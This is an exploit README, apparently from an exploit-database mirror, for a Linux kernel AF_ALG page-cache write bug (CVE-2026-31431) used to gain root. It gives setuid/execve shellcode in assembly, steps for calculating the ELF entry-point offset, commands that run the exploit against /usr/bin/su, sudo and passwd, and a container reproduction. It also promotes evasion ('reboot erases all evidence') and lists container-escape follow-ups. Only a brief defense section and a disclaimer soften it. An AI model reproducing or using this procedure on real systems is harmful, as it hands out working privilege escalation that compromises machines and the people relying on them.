Share
## https://sploitus.com/exploit?id=32CD9BCE-20E7-5556-B3EF-BA2512FE8C70
# CVE-2026-31431 "Copy Fail" โ Universal LPE Exploit
> **Linux kernel page cache 4-byte arbitrary write โ Local Privilege Escalation**
>
> Dynamic ELF entry point offset calculation. No hardcoded addresses. Works on any SUID-root x86_64 binary.
## What is this?
[CVE-2026-31431](https://copy.fail/) is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing `splice()` + `authencesn` in-place decryption, an unprivileged user can write **4 bytes at an arbitrary offset** in the kernel's **page cache** โ the same cache used for all file-backed memory.
This means:
- **No race conditions** โ single-threaded, deterministic
- **No special privileges** โ works inside default Docker containers (seccomp allows AF_ALG)
- **No kernel version dependency** โ affects all kernels from 2017 to present
- **Modifies files in memory only** โ disk is untouched, reboot erases all traces
## What's new here?
The original [theori-io PoC](https://github.com/theori-io/copy-fail-CVE-2026-31431) uses **hardcoded offsets** for specific kernel/binary versions.
This exploit introduces **dynamic offset calculation**:
```
1. Parse ELF header โ extract e_entry (entry point virtual address)
2. Walk PT_LOAD segments โ find which segment contains e_entry
3. Calculate file offset: p_offset + (e_entry - p_vaddr)
4. Overwrite entry point with shellcode
```
**Result**: One exploit works on **any** x86_64 SUID binary, regardless of distribution, package version, or compilation flags.
## Attack Surface
| Vector | Works? | Details |
|--------|--------|---------|
| **LPE (local user โ root)** | โ
Yes | Overwrite SUID binary entry point |
| **Container escape (default)** | โ No | overlayfs per-mount page cache isolation |
| **Container escape (host write)** | โ
Yes | Write via `/proc/PID/root/` from host |
| **Cross-container (host write)** | โ
Yes | Same inode โ shared lower-layer page cache |
## Quick Start
### Prerequisites
- Linux kernel (any version since ~2017)
- Python 3.10+ (for `os.splice()`)
- Any SUID-root binary (`/usr/bin/su`, `/usr/bin/sudo`, etc.)
### One-liner Reproduction
```bash
# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c
#include
int main() {
printf("uid=%d euid=%d\n", getuid(), geteuid());
if (geteuid() == 0 && setuid(0) == 0) {
printf("ROOTED!\\n");
execve("/bin/bash", (char*[]){"bash", NULL}, NULL);
}
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
```
Then inside the container as `testuser`:
```bash
# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)
# Run the exploit
python3 exploit.py /usr/local/bin/verify
# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)
```
### Using an existing SUID binary
```bash
# Works on any SUID binary โ offset is calculated dynamically
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
```
## How It Works
### The Vulnerability
The kernel's `authencesn` AEAD algorithm has a bug in its in-place decryption path:
1. User creates an `AF_ALG` socket with `authencesn(hmac(sha256), cbc(aes))`
2. User calls `splice()` to feed file data into the crypto socket โ this maps **page cache pages** directly into the kernel's scatterlist
3. During decryption, `authencesn` writes 4 bytes of `seqno_lo` after the authentication tag
4. By controlling the associated data length and IV layout, the attacker controls **where** those 4 bytes land
Result: **4-byte arbitrary write to any page-cached file**.
### The Exploit
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ELF Binary (/usr/bin/su) โ
โ โ
โ 0x0000: โโโโโโโโโโโโ โ
โ โ ELF Header โ e_entry = 0x4013f0 โ
โ โ โ โ parse dynamically โ
โ โโโโโโโโโโโโ โ
โ ... โ
โ 0x3f20: โโโโโโโโโโโโ โ calculated file offset โ
โ โ orig code โ โ
โ โ โ โโโ copy fall writes โโโโ โ
โ โ SHELLCODE โ setuid(0) + execve("/bin/sh")โ
โ โโโโโโโโโโโโ โ
โ ... โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode โ setuid(0) succeeds โ root shell.
```
### Shellcode
```asm
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; filename
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
```
36 bytes, 10 copy-fall writes (4 bytes each).
## Why This Matters
### Container Security
Default Docker containers are **not** protected from this:
| Protection | Status |
|-----------|--------|
| Seccomp | โ
AF_ALG allowed by default |
| User namespaces | โ Not used in default Docker |
| AppArmor/SELinux | โ Does not restrict AF_ALG |
| Capability dropping | โ No special caps needed |
The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).
### Detection Difficulty
- **Disk is never modified** โ page cache writes are memory-only
- **No new files created** โ exploit is a single Python script
- **No kernel module loaded** โ pure syscall abuse
- **Reboot erases all evidence** โ page cache is volatile
### Affected Systems
Every Linux kernel since the `algif_aead` in-place conversion (merged ~2017), including:
- Ubuntu 18.04 / 20.04 / 22.04 / 24.04
- Debian 10 / 11 / 12
- RHEL 8 / 9
- CentOS Stream
- Amazon Linux 2 / 2023
- **Docker containers** (default seccomp profile)
- **Kubernetes pods** (default configurations)
- **WSL2** (confirmed)
## File Structure
```
.
โโโ exploit.py # Universal LPE exploit with dynamic offset calculation
โโโ verify/
โ โโโ verify.c # SUID verification program for testing
โโโ README.md # This file
```
## Defense
- **Apply kernel patch** โ upstream fix available
- **Seccomp**: Block `AF_ALG` domain (`socket(AF_ALG, ...)` โ `errno`)
- **AppArmor**: Deny `af_alg` socket creation
- **Kernel hardening**: `CONFIG_CRYPTO_USER_API_AEAD=n`
- **Monitoring**: Audit `socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)` syscalls
## Credits
- **Vulnerability discovery**: [Taeyang Lee (Theori)](https://copy.fail/) / [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Dynamic offset calculation & universal exploit**: This work
## Disclaimer
This exploit is provided for **authorized security research and educational purposes only**. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.
## License
MIT